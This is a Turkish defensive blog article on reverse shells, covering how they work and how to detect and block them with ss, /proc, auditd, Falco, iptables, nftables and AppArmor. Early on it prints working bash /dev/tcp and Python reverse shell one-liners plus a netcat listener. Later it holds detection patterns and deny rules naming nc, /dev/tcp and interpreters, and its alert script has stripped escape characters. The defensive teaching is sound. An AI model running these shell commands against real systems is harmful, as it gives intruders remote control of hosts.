Reverse Shell Nedir: Tespit ve Engelleme Yöntemleri
Bir pentest projesinde karşı tarafın sistemine erişim sağladıktan sonra ilk iş şunu yaparsınız: “nasıl kalıcı bağlantı kurarım?” Cevap çoğu zaman reverse shell’dir. Ama bu yazıyı savunma tarafından, yani saldırıyı tespit edip engellemek isteyen sysadmin gözünden yazıyorum. Çünkü reverse shell’i anlamadan onu engelleyemezsiniz, engelleyemediğiniz şeyin de farkında olamazsınız.
Reverse Shell Mantığı: Neden “Ters”?
Normal bir shell bağlantısında siz hedef sisteme bağlanırsınız. SSH ile sunucuya girersiniz, komut çalıştırırsınız, çıkarsınız. Bağlantıyı başlatan taraf sizsiniz, dinleyen taraf sunucudur. Firewall açısından bu makul ve yönetilebilir bir model: 22 numaralı porta gelen bağlantılara izin verirsiniz, diğer her şeyi reddedersiniz.
Reverse shell’de tablo tamamen tersine döner. Hedef sisteme bir şekilde kod çalıştırtıyorsunuz (web uygulaması açığı, RCE, sosyal mühendislik, ne olursa) ve hedef sistem sizin makinenize bağlanıyor. Sizin makineniz dinliyor, hedef bağlanıyor. Bu yaklaşım neden bu kadar yaygın? Çünkü çoğu kurumsal ortamda gelen bağlantılar kısıtlanır ama giden bağlantılar serbesttir. 80, 443 portlarına giden trafik neredeyse her firewall tarafından açık bırakılır. Saldırgan da zaten genellikle 443 portunu dinler, ta ki “normal HTTPS trafiği” gibi görünsün.
Temel Bir Reverse Shell Nasıl Çalışır?
Kavramı somutlaştıralım. Saldırganın makinesinde önce bir listener açılır:
# Saldırganın makinesinde (attacker machine)
nc -lvnp 4444
Ardından hedef sistemde bir şekilde şu komutun çalıştırılması sağlanır:
# Hedef sistemde çalıştırılan komut
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
Bu kadar. Hedef sistem saldırganın IP’sine 4444 portuna bağlanıyor, bash sürecinin stdin/stdout/stderr’ini bu sokete yönlendiriyor ve saldırgan tam interaktif bir shell elde ediyor. Firewall gözünden baktığınızda bu, hedef sunucudan dışarıya giden bir bağlantıdır. Pek çok ortamda bu trafik hiç sorgulanmaz.
Python ile de aynı şeyi yapabilirsiniz:
# Python reverse shell örneği (hedef sistemde çalışan)
python3 -c "
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.100',4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(['/bin/bash','-i'])
"
Perl, PHP, Ruby, PowerShell, neredeyse her dilde bunun karşılığı var. Bu yüzden “Python yok, güvendeyiz” mantığı işe yaramıyor.
Tespit: Neye Bakmalısınız?
Reverse shell tespiti birkaç farklı katmanda yapılabilir. En etkili yaklaşım bu katmanları birleştirmektir.
Ağ Seviyesinde Tespit
Reverse shell bağlantıları genellikle bazı belirgin örüntüler bırakır. Bunların başında alışılmadık portlara giden bağlantılar gelir. Sunucunuzun 4444, 1337, 8080, 9001 gibi portlara bağlantı kurması normalin dışındadır.
ss ve netstat ile anlık bağlantı durumunu inceleyebilirsiniz:
# Aktif bağlantıları listele, şüpheli portlara dikkat et
ss -tnp | grep -v -E '(22|80|443|3306|5432)'
# Hangi process hangi bağlantıyı açmış
ss -tnp state established
# ESTABLISHED durumundaki bağlantıları process bilgisiyle gör
netstat -tnp | grep ESTABLISHED
Burada dikkat edilmesi gereken şey: bash, python, perl gibi yorumlayıcıların doğrudan network bağlantısı kurması. Web sunucunuzda nginx veya apache network bağlantısı kuruyorsa normaldir. Ama bash process’i bir dış IP’ye bağlıysa bu ciddi bir alarm işareti.
Process Ağacı Analizi
Reverse shell’lerin büyük çoğunluğu bir parent process tarafından spawn edilir. Web uygulaması üzerinden RCE ile elde edilen reverse shell’de parent process genellikle web sunucusudur. pstree veya ps ile bunu görebilirsiniz:
# Process ağacını göster
pstree -p -a
# Web sunucusunun child process'lerini kontrol et
ps auxf | grep -A5 nginx
ps auxf | grep -A5 apache
# Şüpheli process'lerin network bağlantılarını kontrol et
ls -la /proc/$(pgrep bash)/fd | grep socket
nginx ya da www-data kullanıcısının altında bash veya sh process’i görüyorsanız bu neredeyse kesinlikle bir sorun işaretidir. Normal operasyonda web sunucusu shell spawn etmez.
/proc Filesystem Üzerinden Analiz
Linux’un /proc dosya sistemi inanılmaz bir bilgi kaynağıdır. Bir process’in hangi file descriptor’ları açtığını, hangi network soketlerine bağlı olduğunu buradan görebilirsiniz:
# Tüm process'lerin açık socket bağlantılarını tara
for pid in /proc/[0-9]*/fd; do
process_pid=$(echo $pid | cut -d'/' -f3)
cmd=$(cat /proc/$process_pid/cmdline 2>/dev/null | tr '' ' ')
sockets=$(ls -la $pid 2>/dev/null | grep socket)
if [ ! -z "$sockets" ]; then
echo "PID: $process_pid | CMD: $cmd"
echo "$sockets"
echo "---"
fi
done
Bu script çok verbose çıktı verebilir ama filtreleyerek yorumlayıcı process’lerin (bash, python, perl, ruby, php) socket kullandığı durumları hızla tespit edebilirsiniz.
Auditd ile Sistem Çağrısı İzleme
auditd Linux’un yerleşik denetim altyapısıdır ve doğru konfigüre edildiğinde reverse shell girişimlerini neredeyse gerçek zamanlı olarak yakalar. Önce auditd’yi kurun ve şu kuralları ekleyin:
# Auditd kuralları - /etc/audit/rules.d/reverse_shell.rules
# Outbound bağlantı girişimlerini logla
-a always,exit -F arch=b64 -S connect -k outbound_connect
# Shell execution'ları logla
-a always,exit -F arch=b64 -S execve -F path=/bin/bash -k bash_exec
-a always,exit -F arch=b64 -S execve -F path=/bin/sh -k sh_exec
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/python3 -k python_exec
# Kuralları yükle
auditctl -R /etc/audit/rules.d/reverse_shell.rules
# Logları izle
tail -f /var/log/audit/audit.log | grep -E '(outbound_connect|bash_exec|python_exec)'
Auditd logları ham halde okunması zor olabilir. ausearch ve aureport araçlarıyla bunu işlenebilir hale getirin:
# Son 1 saatte bash execution'larını raporla
ausearch -k bash_exec --start recent | aureport -x --summary
# Şüpheli outbound bağlantıları filtrele
ausearch -k outbound_connect | grep -v -E '(127.0.0.1|::1)'
Engelleme: Katmanlı Savunma Yaklaşımı
Tespiti konuştuk. Şimdi engelleme tarafına geçelim. Tek bir kontrol mekanizmasına güvenmek risklidir. Saldırganlar bilinen engellemeleri atlatmak için sürekli yeni teknikler geliştiriyor.
Outbound Firewall Kuralları
En temel ama en çok ihmal edilen kontrol bu. Çoğu sysadmin inbound trafiği sıkı kontrol eder ama outbound trafiği serbest bırakır. Oysa ki reverse shell tamamen outbound bağlantıya dayanır.
# iptables ile outbound bağlantı kontrolü
# Önce tüm outbound trafiği engelle
iptables -P OUTPUT DROP
# Sadece gerekli servislere izin ver
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 53 -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 25 -j ACCEPT # Mail gönderimi gerekiyorsa
# Alışılmadık portlara giden bağlantıları logla
iptables -A OUTPUT -p tcp ! --dport 80 -j LOG --log-prefix "SUSPICIOUS_OUTBOUND: "
iptables -A OUTPUT -p tcp ! --dport 443 -j LOG --log-prefix "SUSPICIOUS_OUTBOUND: "
# Kuralları kalıcı hale getir
iptables-save > /etc/iptables/rules.v4
nftables kullanıyorsanız:
# nftables ile outbound kısıtlama
nft add table inet filter
nft add chain inet filter output { type filter hook output priority 0 ; policy drop ; }
nft add rule inet filter output tcp dport { 80, 443, 53 } accept
nft add rule inet filter output udp dport 53 accept
nft add rule inet filter output ip daddr 127.0.0.0/8 accept
# Kural seti kaydet
nft list ruleset > /etc/nftables.conf
Bash TCP/UDP Desteğini Devre Dışı Bırakma
/dev/tcp ve /dev/udp, bash’in yerleşik bir özelliğidir. Bu özellik olmadan bash -i >& /dev/tcp/... tarzı reverse shell’ler çalışmaz. Bash’i bu destek olmadan derlemek ya da restricted bash kullanmak bir seçenek ama production ortamında genellikle uygulanabilir değil.
Daha pratik yaklaşım: rbash (restricted bash) kullanımı ve PATH kısıtlaması. Ama bu da atlatılabilir. Dolayısıyla bu kontrolü tek başına kullanmak yerine diğer kontrollerle birleştirin.
SELinux veya AppArmor ile Process Kısıtlama
Bu iki mekanizma, bir process’in ne yapabileceğini çok granüler bir şekilde kontrol etmenizi sağlar. Web sunucusunun shell spawn etmesini, Python interpreter’ının network bağlantısı kurmasını engelleyebilirsiniz.
AppArmor için örnek bir nginx profili:
# /etc/apparmor.d/usr.sbin.nginx profili (özet)
/usr/sbin/nginx {
# Temel okuma izinleri
/etc/nginx/** r,
/var/www/** r,
# Log yazma
/var/log/nginx/** w,
# Network: sadece 80 ve 443'e bind etmesine izin ver
network tcp,
# Shell execution YASAK - bu kritik!
deny /bin/bash x,
deny /bin/sh x,
deny /usr/bin/python* x,
deny /usr/bin/perl x,
}
# Profili yükle ve enforce moduna al
apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
aa-enforce nginx
SELinux ile benzer kısıtlamayı audit2allow ve özel policy modülleriyle yapabilirsiniz. SELinux’un öğrenme eğrisi dik ama doğru yapılandırıldığında gerçekten güçlü bir katman oluşturuyor.
Falco ile Gerçek Zamanlı Tespit
Falco, Sysdig’in geliştirdiği açık kaynaklı bir runtime güvenlik aracıdır. Kernel seviyesinde sistem çağrılarını izler ve şüpheli davranışları anında raporlar. Reverse shell tespiti için mükemmeldir.
# Falco kurulumu (Debian/Ubuntu)
curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add -
echo "deb https://download.falco.org/packages/deb stable main" > /etc/apt/sources.list.d/falcosecurity.list
apt update && apt install falco -y
# Özel kural: web sunucusundan shell spawn tespiti
# /etc/falco/rules.d/reverse_shell.yaml
# Falco kuralı - web process'inden shell spawn tespiti
- rule: Web Process Spawned Shell
desc: Web sunucu process'i bir shell veya yorumlayıcı spawn etti
condition: >
spawned_process and
proc.pname in (nginx, apache2, httpd, php-fpm) and
proc.name in (bash, sh, python, python3, perl, ruby, nc, ncat, netcat)
output: >
Şüpheli shell spawn tespit edildi
(user=%user.name pid=%proc.pid parent=%proc.pname
process=%proc.name cmdline=%proc.cmdline)
priority: CRITICAL
tags: [reverse_shell, web_server]
Falco alert’lerini bir SIEM’e veya Slack’e yönlendirebilirsiniz. Gerçek zamanlı uyarı altyapısı kurduğunuzda reverse shell girişimi birkaç saniye içinde size ulaşır.
Gerçek Dünya Senaryosu: WordPress RCE Sonrası Reverse Shell
Diyelim ki WordPress kurulu bir sunucunuz var. Saldırgan eski bir eklenti açığı üzerinden komut çalıştırabiliyor. Tipik saldırı zinciri şöyle ilerler:
- RCE açığı tespit edilir (örneğin eski bir form eklentisi)
- PHP üzerinden bir reverse shell payload gönderilir
www-datakullanıcısı olarak shell elde edilir- Privilege escalation denenebilir
Bu senaryoyu tespit etmek için şunlara bakmalısınız: www-data kullanıcısının spawn ettiği process’ler, beklenmedik outbound bağlantılar, /tmp veya /var/www altında çalıştırılabilir dosyalar.
# www-data kullanıcısının çalıştırdığı process'leri izle
ps aux | grep www-data
# www-data'nın başlattığı outbound bağlantıları kontrol et
ss -tnp | grep www-data
# Son değişen dosyaları kontrol et (web dizininde)
find /var/www -name "*.php" -newer /var/www/html/index.php -ls
# Şüpheli binary'leri ara
find /tmp /var/tmp -type f -executable -ls
find /dev/shm -type f -ls
/dev/shm genellikle gözden kaçar. Saldırganlar bellek üzerinde çalışan ve disk izlemesini atlatan dosyalar için buraya yazabilirler.
Log Analizi ile Sonradan Tespit
Saldırı gerçek zamanlı yakalanmadıysa log analizi devreye girer. Web sunucusu loglarında reverse shell payload izleri arayabilirsiniz:
# Apache/Nginx access loglarında şüpheli içerik ara
grep -E "(bash|/bin/sh|/dev/tcp|python.*socket|exec.*sh)" /var/log/nginx/access.log
# URL encode edilmiş payload'ları da yakala
grep -E "(%2F|%20|%7C|%3E|%26)" /var/log/nginx/access.log | grep -E "(bash|exec|python)"
# Anormal HTTP response size'larını tespit et (büyük POST body'leri)
awk '$10 > 10000 {print}' /var/log/nginx/access.log
# Sistem log'larında shell aktivitesini ara
grep -E "(bash|sh)" /var/log/auth.log | grep -v sshd
journalctl -u nginx --since "2024-01-01" | grep -E "(error|bash|exec)"
Düzenli Kontroller İçin Basit Bir Script
Aşağıdaki scripti cron’a ekleyip düzenli aralıklarla çalıştırabilirsiniz. Şüpheli durum tespit ettiğinde mail atar:
#!/bin/bash
# /usr/local/bin/reverse_shell_check.sh
ALERT_EMAIL="[email protected]"
SUSPICIOUS=0
REPORT=""
# Web process'lerinin child shell'lerini kontrol et
SHELL_CHILDREN=$(ps auxf | grep -E "(www-data|apache|nginx)" | grep -E "b(bash|sh|python|perl|ruby|nc)b")
if [ ! -z "$SHELL_CHILDREN" ]; then
SUSPICIOUS=1
REPORT+="[KRITIK] Web sunucusu shell spawn etti:n$SHELL_CHILDRENnn"
fi
# Yorumlayıcıların network bağlantılarını kontrol et
INTERP_CONNECTIONS=$(ss -tnp | grep -E "(python|perl|ruby|bash|php)" | grep -v "127.0.0.1")
if [ ! -z "$INTERP_CONNECTIONS" ]; then
SUSPICIOUS=1
REPORT+="[KRITIK] Yorumlayıcı outbound bağlantısı:n$INTERP_CONNECTIONSnn"
fi
# /tmp ve /dev/shm'de executable dosya ara
TMP_EXEC=$(find /tmp /var/tmp /dev/shm -type f -executable 2>/dev/null)
if [ ! -z "$TMP_EXEC" ]; then
SUSPICIOUS=1
REPORT+="[UYARI] Geçici dizinde executable dosya:n$TMP_EXECnn"
fi
if [ $SUSPICIOUS -eq 1 ]; then
echo -e "SUNUCU: $(hostname)nZAMAN: $(date)nn$REPORT" |
mail -s "[GUVENLIK ALARMI] Reverse Shell Şüphesi - $(hostname)" $ALERT_EMAIL
fi
# Cron'a ekle (her 5 dakikada bir)
echo "*/5 * * * * root /usr/local/bin/reverse_shell_check.sh" >> /etc/crontab
chmod +x /usr/local/bin/reverse_shell_check.sh
Sonuç
Reverse shell, bir saldırganın hedef sisteme ayak bastıktan sonra kullandığı en temel araçtır. Bunu anlamak, hem savunma mekanizmalarını tasarlamak hem de mevcut sistemlerin güvenliğini değerlendirmek için kritik önemdedir.
Savunma tarafında tek bir kontrol noktasına güvenmek doğru değildir. Outbound firewall kuralları, process izleme, SELinux/AppArmor politikaları ve Falco gibi runtime güvenlik araçları birlikte kullanıldığında gerçekten etkili bir savunma hattı oluşturulabilir. Üstüne bir de düzenli log analizi ve otomatize kontroller eklendiğinde saldırganların fark edilmeden hareket edebileceği pencere ciddi ölçüde daralır.
Son olarak şunu da söyleyelim: bu teknikleri test ortamınızda deneyin. Bir VM üzerinde reverse shell kurun, kendi savunma mekanizmalarınızın bunu yakalayıp yakalamadığını görün. Gerçek bir saldırı geldiğinde değil, tam kontrol sizde iken test etmek çok daha kıymetlidir.
